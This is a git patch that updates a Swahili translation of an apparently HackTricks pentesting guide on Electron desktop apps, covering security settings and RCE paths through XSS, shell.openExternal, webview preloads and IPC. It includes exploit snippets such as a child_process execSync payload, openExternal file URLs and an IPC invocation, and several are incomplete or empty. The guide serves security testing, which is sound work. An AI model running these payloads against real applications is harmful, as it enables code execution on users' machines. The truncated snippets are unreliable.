From 131e0a8eb03bf3b4357af4012981fc04867a86a8 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Sep 2025 02:45:09 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/electron --- .../electron-desktop-apps/README.md | 304 ++++++++++++------ 1 file changed, 210 insertions(+), 94 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index a3ec88100..e2761fc75 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,30 +1,30 @@ -# Electron Desktop Apps +# Programu za Desktop za Electron {{#include ../../../banners/hacktricks-training.md}} -## Introduction +## Utangulizi -Electron inachanganya backend wa ndani (pamoja na **NodeJS**) na frontend (**Chromium**), ingawa inakosa baadhi ya mitambo ya usalama ya vivinjari vya kisasa. +Electron huunganisha backend ya ndani (ikiwa na **NodeJS**) na frontend (**Chromium**), ingawa ina upungufu wa baadhi ya mifumo ya usalama ya vivinjari vya kisasa. -Kawaida unaweza kupata msimbo wa programu ya electron ndani ya programu ya `.asar`, ili kupata msimbo unahitaji kuutoa: +Mara nyingi unaweza kupata msimbo wa app ya electron ndani ya programu ya `.asar`; ili kupata msimbo unahitaji kuutoa: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -Katika msimbo wa chanzo wa programu ya Electron, ndani ya `packet.json`, unaweza kupata faili ya `main.js` ambapo mipangilio ya usalama imewekwa. +Katika msimbo wa chanzo wa app ya Electron, ndani ya `packet.json`, unaweza kupata faili `main.js` iliyobainishwa ambapo mipangilio ya usalama imewekwa. ```json { "name": "standard-notes", "main": "./app/index.js", ``` -Electron ina aina 2 za michakato: +Electron ina aina mbili za mchakato: -- Michakato Kuu (ina ufikiaji kamili wa NodeJS) -- Michakato ya Renderer (inapaswa kuwa na ufikiaji wa NodeJS ulio na vizuizi kwa sababu za usalama) +- Main Process (ina ufikiaji kamili wa NodeJS) +- Renderer Process (inapaswa kuwa na ufikiaji mdogo wa NodeJS kwa sababu za usalama) ![](<../../../images/image (182).png>) -**mchakato wa renderer** utakuwa dirisha la kivinjari linalopakia faili: +Mchakato wa **renderer process** utakuwa dirisha la kivinjari linalopakia faili: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,20 +32,20 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Mipangilio ya **mchakato wa renderer** inaweza **kuwekwa** katika **mchakato mkuu** ndani ya faili ya main.js. Baadhi ya mipangilio itakayo **zuia programu ya Electron kupata RCE** au udhaifu mwingine ikiwa **mipangilio imewekwa vizuri**. +Mipangilio ya **renderer process** yanaweza **kusanidiwa** katika **main process** ndani ya faili main.js. Baadhi ya mipangilio yatazuia programu ya Electron kupata **RCE** au udhaifu mwingine ikiwa **mipangilio imewekwa ipasavyo**. -Programu ya electron **inaweza kufikia kifaa** kupitia Node apis ingawa inaweza kuwekwa ili kuzuia hilo: +Programu ya Electron inaweza **kufikia kifaa** kupitia Node apis ingawa inaweza kusanidiwa kuizuia: -- **`nodeIntegration`** - ime **zimwa** kwa chaguo-msingi. Ikiwa imewashwa, inaruhusu kufikia vipengele vya node kutoka kwa mchakato wa renderer. -- **`contextIsolation`** - ime **washwa** kwa chaguo-msingi. Ikiwa imezimwa, michakato ya msingi na renderer siyo iliyotengwa. +- **`nodeIntegration`** - kwa chaguo-msingi ni `off`. Ikiwa `on`, inaruhusu kufikia vipengele vya Node kutoka kwenye **renderer process**. +- **`contextIsolation`** - kwa chaguo-msingi ni `on`. Ikiwa `off`, **main** na **renderer processes** hazitenganishwi. - **`preload`** - tupu kwa chaguo-msingi. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - imezimwa kwa chaguo-msingi. Itapunguza vitendo ambavyo NodeJS inaweza kufanya. -- Uunganisho wa Node katika Wafanyakazi -- **`nodeIntegrationInSubframes`** - ime **zimwa** kwa chaguo-msingi. -- Ikiwa **`nodeIntegration`** ime **washwa**, hii itaruhusu matumizi ya **Node.js APIs** katika kurasa za wavuti ambazo zime **pakiwa katika iframes** ndani ya programu ya Electron. -- Ikiwa **`nodeIntegration`** ime **zimwa**, basi preloads zitawekwa katika iframe. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - kwa chaguo-msingi ni `off`. Itazuia vitendo ambavyo NodeJS inaweza kufanya. +- Node Integration in Workers +- **`nodeIntegrationInSubframes`** - kwa chaguo-msingi ni `off`. +- Ikiwa **`nodeIntegration`** imewezeshwa, hii itaruhusu matumizi ya **Node.js APIs** katika kurasa za wavuti zinazopakiwa ndani ya **iframes** ndani ya programu ya Electron. +- Ikiwa **`nodeIntegration`** imezimwa, basi preloads zitaanzishwa ndani ya iframe -Mfano wa mipangilio: +Mfano wa usanidi: ```javascript const mainWindowOptions = { title: "Discord", @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -Baadhi ya **RCE payloads** kutoka [hapa](https://7as.es/electron/nodeIntegration_rce.txt): +Baadhi ya **RCE payloads** kutoka [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): src="x" onerror="alert(require('child_process').execSync('uname -a').toString());" /> ``` -### Capture traffic +### Kukamata trafiki Badilisha usanidi wa start-main na ongeza matumizi ya proxy kama: ```javascript @@ -103,7 +103,8 @@ Badilisha usanidi wa start-main na ongeza matumizi ya proxy kama: ``` ## Electron Local Code Injection -Ikiwa unaweza kutekeleza programu ya Electron kwa ndani, inawezekana kwamba unaweza kufanya itekeleze msimbo wa javascript wa kiholela. Angalia jinsi katika: +Ikiwa unaweza kuendesha Electron App ndani ya mashine yako, inawezekana kwamba unaweza kuifanya itekeleze arbitrary javascript code. Angalia jinsi katika: + {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -111,7 +112,7 @@ Ikiwa unaweza kutekeleza programu ya Electron kwa ndani, inawezekana kwamba unaw ## RCE: XSS + nodeIntegration -Ikiwa **nodeIntegration** imewekwa kuwa **on**, JavaScript ya ukurasa wa wavuti inaweza kutumia vipengele vya Node.js kwa urahisi kwa kuita `require()`. Kwa mfano, njia ya kutekeleza programu ya calc kwenye Windows ni: +Ikiwa **nodeIntegration** imewekwa kuwa **on**, JavaScript ya ukurasa wa wavuti inaweza kutumia vipengele vya Node.js kwa urahisi kwa kupiga tu `require()`. Kwa mfano, njia ya kuendesha application ya calc kwenye Windows ni: ```html ``` -> [!NOTE] > **Ikiwa `contextIsolation` iko juu, hii haitafanya kazi** +> [!NOTE] > **Ikiwa `contextIsolation` imewezeshwa, hii haitafanya kazi** ## RCE: XSS + contextIsolation -_**contextIsolation**_ inanzisha **muktadha tofauti kati ya skripti za ukurasa wa wavuti na msimbo wa ndani wa JavaScript wa Electron** ili utekelezaji wa JavaScript wa kila msimbo usiathiriane. Hii ni kipengele muhimu kuondoa uwezekano wa RCE. +_**contextIsolation**_ huanzisha **muktadha tofauti kati ya scripts za ukurasa wa wavuti na code ya ndani ya Electron** ili utekelezaji wa JavaScript wa kila code usiathiriane. Hii ni sifa muhimu kuondoa uwezekano wa RCE. -Ikiwa muktadha haujawekwa kando, mshambuliaji anaweza: +Kama muktadha haukutengwa, mshambuliaji anaweza: -1. Kutekeleza **JavaScript isiyo na mipaka katika renderer** (XSS au kuhamia kwenye tovuti za nje) -2. **Kufuta njia iliyojengwa ndani** ambayo inatumika katika preload au msimbo wa ndani wa Electron ili kuwa na kazi yake -3. **Kusababisha** matumizi ya **kazi iliyofutwa** +1. Endesha **JavaScript yoyote katika renderer** (XSS au kuvinjari kwenda tovuti za nje) +2. **Kuandika upya built-in method** ambayo inatumiwa katika preload au Electron internal code ili kudhibiti function +3. **Kusababisha** matumizi ya **function iliyooandikwa upya** 4. RCE? -Kuna maeneo 2 ambapo njia zilizojengwa ndani zinaweza kufutwa: Katika msimbo wa preload au katika msimbo wa ndani wa Electron: +Kuna sehemu 2 ambapo built-int methods zinaweza kuandikwa upya: Katika preload code au katika Electron internal code: {{#ref}} @@ -180,34 +181,34 @@ electron-contextisolation-rce-via-ipc.md ### Bypass click event -Ikiwa kuna vizuizi vilivyowekwa unapobofya kiungo, huenda ukawa na uwezo wa kuv bypass **ukifanya bofya katikati** badala ya bofya la kushoto la kawaida +Kama kuna vizuizi vinavyotumika unapobofya link unaweza kuvipita kwa **kubofya kwa kitufe cha katikati (middle click)** badala ya bofya la kushoto la kawaida ```javascript window.addEventListener('click', (e) => { ``` -## RCE kupitia shell.openExternal +## RCE via shell.openExternal -Kwa maelezo zaidi kuhusu mifano hii angalia [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) na [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) +Kwa taarifa zaidi kuhusu mifano hii angalia [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) na [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -Wakati wa kupeleka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imeanzishwa kwamba **utendaji wa mbali wa msimbo wa mteja (RCE)** unaolenga skripti za preload au msimbo asilia wa Electron kutoka kwa mchakato mkuu unazuia kwa ufanisi na mipangilio hii ikiwa mahali. +Wakati wa kupeleka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imebainishwa kwamba **client-side remote code execution (RCE)** inayolenga preload scripts au native code ya Electron kutoka main process inadhibitiwa kwa ufanisi ikiwa mipangilio hii imewekwa. -Wakati mtumiaji anapoingiliana na viungo au kufungua madirisha mapya, wasikilizaji maalum wa matukio huanzishwa, ambayo ni muhimu kwa usalama na utendaji wa programu: +Wakati mtumiaji anapotumia viungo au kufungua madirisha mapya, wasikilizaji maalum wa matukio huanzishwa, ambayo ni muhimu kwa usalama na utendakazi wa programu: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -Hawa wasikilizaji **wanabadilishwa na programu ya desktop** ili kutekeleza **mantiki ya biashara** yake. Programu inakadiria ikiwa kiungo kilichotembelewa kinapaswa kufunguliwa ndani au kwenye kivinjari cha mtandao cha nje. Uamuzi huu kawaida hufanywa kupitia kazi, `openInternally`. Ikiwa kazi hii inarudisha `false`, inaashiria kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia kazi ya `shell.openExternal`. +Wasikilizaji hawa **wanabadilishwa na programu ya desktop** ili kutekeleza **mantiki ya biashara** yake. Programu huchunguza kama kiungo kilichofunguliwa kinapaswa kufunguliwa ndani ya programu au katika kivinjari cha wavuti cha nje. Uamuzi huu kawaida hufanywa kupitia function, `openInternally`. Ikiwa function hii inarudisha `false`, inaonyesha kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia function `shell.openExternal`. -**Hapa kuna pseudocode iliyo rahisishwa:** +**Hapa kuna pseudocode iliyorahishwa:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Miongozo bora ya usalama ya Electron JS inashauri kutochukua maudhui yasiyoaminika kwa kutumia kazi ya `openExternal`, kwani inaweza kusababisha RCE kupitia protokali mbalimbali. Mifumo ya uendeshaji inasaidia protokali tofauti ambazo zinaweza kusababisha RCE. Kwa mifano ya kina na maelezo zaidi juu ya mada hii, mtu anaweza kurejelea [rasilimali hii](https://positive.security/blog/url-open-rce#windows-10-19042), ambayo inajumuisha mifano ya protokali za Windows zinazoweza kutumia udhaifu huu. +Electron JS security best practices yanapendekeza kutoikubali content isiyo ya kuaminika kwa kutumia `openExternal`, kwani inaweza kusababisha RCE kupitia protocols mbalimbali. Systems za uendeshaji zinaunga mkono protocols tofauti ambazo zinaweza kusababisha RCE. Kwa mifano ya kina na maelezo zaidi juu ya mada hii, unaweza kurejea [rasilimali hii](https://positive.security/blog/url-open-rce#windows-10-19042), ambayo inajumuisha Windows protocol examples zinazoweza kutumiwa ku-exploit ugumu huu. -Katika macos, kazi ya `openExternal` inaweza kutumiwa kutekeleza amri zisizo na mipaka kama katika `shell.openExternal('file:///System/Applications/Calculator.app')`. +Katika macos, function ya `openExternal` inaweza kutumika vibaya kutekeleza amri yoyote kama katika `shell.openExternal('file:///System/Applications/Calculator.app')`. -**Mifano ya unyakuzi wa protokali za Windows ni pamoja na:** +**Mifano ya Windows protocol exploits ni pamoja na:** ```html ``` -## RCE: webviewTag + vulnerable preload IPC + shell.openExternal +## RCE: webviewTag + preload IPC dhaifu + shell.openExternal -Hii vuln inaweza kupatikana katika **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. +Udhaifu huu unaweza kupatikana katika **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. -**webviewTag** ni **kipengele kilichopitwa na wakati** ambacho kinaruhusu matumizi ya **NodeJS** katika **mchakato wa renderer**, ambacho kinapaswa kuzuiwa kwani kinaruhusu kupakia script ndani ya muktadha wa preload kama: +The **webviewTag** ni **sifa iliyokataliwa** inayoruhusu matumizi ya **NodeJS** katika **renderer process**, ambayo inapaswa kuzimwa kwa kuwa inaruhusu kupakia script ndani ya **preload context** kama: ```xml ``` -Hivyo, mshambuliaji ambaye anafanikiwa kupakia ukurasa wowote anaweza kutumia lebo hiyo **kupakia skripti ya awali isiyo na mipaka**. +Kwa hivyo, mshambuliaji anayefanikiwa kupakia ukurasa wowote anaweza kutumia tag hiyo ili **kupakia preload script yoyote**. -Skripti hii ya awali ilitumiwa vibaya kisha kuita **huduma ya IPC iliyo na udhaifu (`skype-new-window`)** ambayo ilikuwa ikitumia **`shell.openExternal`** kupata RCE: +Preload script hii ilitumiwa vibaya kisha kuitisha **vulnerable IPC service (`skype-new-window`)** ambayo ilikuwa ikiita **`shell.openExternal`** ili kupata RCE: ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -250,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do ``` ## Kusoma Faili za Ndani: XSS + contextIsolation -**Kuzima `contextIsolation` kunaruhusu matumizi ya `` tags**, sawa na `